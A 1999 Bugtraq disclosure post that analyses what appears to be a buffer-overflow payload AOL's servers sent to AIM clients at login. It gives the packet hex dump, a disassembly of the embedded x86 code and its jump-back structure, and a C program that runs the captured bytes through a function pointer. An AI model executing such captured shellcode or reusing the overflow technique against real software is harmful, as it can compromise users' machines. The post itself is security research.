From: Robert Graham [bugtraq@NETWORKICE.COM] Sent: Tuesday, August 17, 1999 2:42 AM To: BUGTRAQ@SECURITYFOCUS.COM Subject: AOL Buffer Overflow??? /* Possible Buffer Overflow in AOL Instant Messenger ------------------------------------------------------------ Robert Graham http://www.robertgraham.com/pubs/aol-exploit/ It appears to me that AOL might be running a buffer-overflow exploit against their own clients. BEFORE DOING ANYTHING ELSE: log onto AOL Instant Messaging and take a trace of it with NetMon/tcpdump/Sniffer/etc. If this is really happening, then AOL will likely fix it soon. DETAILS ------------------------------------------------------------ Last friday I read the following in the NYTimes: http://www.nytimes.com/library/tech/99/08/biztech/articles/13soft.html This story brings up the implication that America Online might be running a "buffer-overflow exploit" on in its own users. They have already made 13 changes to their server code in the past few weeks in order to stop Microsoft's clones from working, so this may be yet another attempt. According to whay I see, it appears to me that this implication is correct. I see something that looks a lot like a buffer overflow exploit when sniffing the connection between the client and AOL's servers. You can reproduce this yourself: 1. log onto AOL Instant Messenger with the latest client that comes with Communicator version WIN32 2.0.912, aka 2.0N. (Click on [File/Help/Report a bug] to get the real version). 2. take a packet trace of the login procedures (I use NetMon). 3. look for the frame that I describe below. 4. copy/paste the frame data into the C program as I demonstrate below. 5. step through the code in the debugger and disassemble it THE PACKET ------------------------------------------------------------ AOL has removed their documentation from the Internet recently. I had to download the GAIM (AIM client for Linux) source code to figure things out. A TCP connection is used. The format for each request/response in the login process is: byte[0] = 0x2a byte[1] = 0x02 (type = 2 =login) byte[2-3] = sequence number byte[4-5] = length byte[6-7] = type byte[8-9] = subtype However, multiple requests/responses can be queued into a single packet. Following is the entire TCP packet I received from the AOL server to my client: 00000000 00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E. 00000010 01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s...... 00000020 01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P. 00000030 6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1....... 00000040 00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(.. 00000050 00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................ 00000060 10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$........... 00000070 00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N 00000080 00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B. 00000090 00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E.... 000000A0 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................ 000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................ 00000150 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D......... 00000160 00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@... 00000170 EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1..".... 00000180 00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http 00000190 3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D ://www.aol.com There are three AIM segments in this packet, which I've marked with slashes in the above decode. (Remember that TCP is a stream based protocol, so application protocols have to figure out their own boundaries, and you often see multiple segments in a single TCP packet). The second segment is of interest here, as marked by the slashes. It seems like the first byte of the embedded code starts at the byte with the value 0x83 at offset 0x53 However, this isn't the buffer overflow, but the start of the buffer itself. Immediately proceeding this is what appears to be a length field. I'm thinking they only allow for a max length of 256 (0x100), but the length field has an extra 0x18 bytes. So if we go 256 bytes into the buffer, we get some more stuff that looks like code. I haven't analyzed all this stuff, but it appears that at the end of the overflow section, it jumps back to the start of the buffer that contains the code of the exploit. [You only get so much wriggle room where you overflow, because the more you overflow, the more of the stack you overwrite; so the overflowed section has to be as small as possible, and jump backwards to actually run something]. THE DECODE ------------------------------------------------------------ In this section, I have done a decode of all the bytes in the segment. To the left are the original bytes, to the right is either the protocol interpretation or the disassembled output. These bytes are in the same order as in the original packet. 2A 02 parse of logon sequence 31 F9 sequence number 01 28 length of this segment 00 01 00 13 type/subtype field of this packet 00 00 80 A2 F1 D6 00 FF 00 0B unknown data 01 18 length of data field 83 C4 10 add esp,10h 4F dec edi 8D 94 24 E4 FE FF FF lea edx,dword ptr [esp-11Ch] 8B EC mov ebp,esp 03 AA F8 00 00 00 add ebp,dword ptr [edx+0F8h] 90 nop 90 nop 90 nop 90 nop 8B 82 F0 00 00 00 mov eax,dword ptr [edx+0F0h] 8B 00 mov eax,dword ptr [eax] 89 82 4E 00 00 00 mov dword ptr [edx+4Eh],eax 8B 4D 04 mov ecx,dword ptr [ebp+4] 03 8A F4 00 00 00 add ecx,dword ptr [edx+0F4h] 8D 82 42 00 00 00 lea eax,dword ptr [edx+42h] 89 45 10 mov dword ptr [ebp+10h],eax B8 10 00 00 00 mov eax,10h 89 45 0C mov dword ptr [ebp+0Ch],eax C9 leave FF E1 jmp ecx 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow 00 00 08 01 00 00 00 00 00 00 90 47 40 00 jump address? F8 unknown E9 EA FE FF FF jmp back_to_start_of_buffer 00 00 You'll notice that there appears to be other code that I haven't disassembled. I would have to second-guess the original source, and I don't quite feel like it. How to disassemble this? The easiest way is simply to paste the data bytes into a program and RUN the code. In theory, you could create a sample program that would actually run this code completely without crashing but that would take A LOT of effort. THE CODE TO TEST IT ------------------------------------------------------------ */ /* The data from the packet, starting at where I believe the data field * begins.*/ unsigned char packet[] = {0x83, 0xC4, 0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF, 0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A, 0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00, 0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00, 0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10, 0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9, 0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02, 0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13, 0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04, 0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61, 0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D}; /* Function point that will point to the buffer above */ void (*foo)(); int main() { /* Set to the point where it overflows (256-characters in), * then add an offset to the jmp instruction that jumps back * to the begining */ foo = packet+256+0x11; /* In MS DevStudio, put a break point here, and then turn on * disassembly mode [View/Debug Windows/Disassembly]. This will * allow you to single step each assembly intruction, and will * disassemble them for you. Also, turn on view of the original * bytes by righ-hand-mouse-clicking on the disassembly and * selecting [Code Bytes]. */ foo(); return 0; }